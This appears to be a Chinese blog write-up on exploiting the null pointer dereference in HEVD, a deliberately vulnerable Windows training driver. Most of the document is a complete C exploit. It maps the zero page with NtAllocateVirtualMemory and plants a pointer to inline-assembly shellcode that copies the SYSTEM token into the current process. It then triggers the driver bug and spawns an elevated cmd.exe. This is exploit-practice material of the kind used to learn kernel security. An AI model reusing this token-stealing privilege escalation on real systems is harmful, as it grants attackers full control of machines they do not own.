HEVD 内核漏洞之空指针解引用

空指针这个其实一直是一个比较容易找到bug的点

因为一旦空指针指向了 不对的内存  就会报错   R3的程序会崩溃 R0的驱动会蓝屏                           ====

 

看一下 代码

可以看出 安全的版本就是  检查了一下 这个指针是否为空的  （其实有时候这样判断也未必一定安全）

但是  不安全的版本却没有 判断 那么 就会造成一个结果   就是会执行 代码 （0+sizeof（ULONG））处指向的代码

那么 如果看过0day安全的小伙伴 一定对这个很了解  那个demo 的解法 就是把shellcode 写到 地址0处

这个可以同样的解 ==

其中  在用  NtAllocateVirtualMemory  申请内存的时候 看准这一句话

https://baike.baidu.com/item/NtAllocateVirtualMemory/4758720

百度百科

exp 过程  ==

 

找到    NtAllocateVirtualMemory

然后 用 NtAllocateVirtualMemory 申请 地址0处的内存 

然后传入shellcode 就ok了

#include<Windows.h>
#include<stdio.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)


HANDLE hDevice = NULL;



typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


static VOID ShellCode()
{
	_asm
	{
			pop edi	
			pop esi
			pop ebx
			pushad
			mov eax, fs: [124h]	
			mov eax, [eax + 0x50] 
			mov ecx, eax
			mov edx, 4				

		find_sys_pid :
					 mov eax, [eax + 0xb8]	
					 sub eax, 0xb8    		
					 cmp[eax + 0xb4], edx   
					 jnz find_sys_pid
					 mov edx, [eax + 0xf8]
					 mov[ecx + 0xf8], edx
					 popad
					 ret
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
	if (bReturn)
		CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


int main()
{

	DWORD interVal;
	char buf[4];
	*(PDWORD32)(buf) = 0xBAD0B0B1;
	hDevice = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL
		);

		if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
		{
			printf("[!] open hDevice error\n");
			return 0;
		}

		*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
			GetModuleHandleW(L"ntdll"),
			"NtAllocateVirtualMemory");

		if (NtAllocateVirtualMemory == NULL)
		{
			printf("[!]Failed  NtAllocateVirtualMemory!!!\n");
			system("pause");
			return 0;
		}
		DWORD bReturn = 0;
		PVOID Zero_addr = (PVOID)1;
		SIZE_T RegionSize = 0x1000;
		if (!NT_SUCCESS(NtAllocateVirtualMemory(
			INVALID_HANDLE_VALUE,
			&Zero_addr,
			0,
			&RegionSize,
			MEM_COMMIT | MEM_RESERVE,
			PAGE_READWRITE)) || Zero_addr != NULL)
		{
			printf("[+]Failed to alloc zero page!\n");
			system("pause");
			return 0;
		}
		*(DWORD*)(0x4) = (DWORD)& ShellCode;
		DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
		CreateCmd();

		system("pause");
	  
}

 

ok 搞定一把梭====

 

参考链接

 

https://baike.baidu.com/item/NtAllocateVirtualMemory/4758720

https://bbs.pediy.com/thread-252776.htm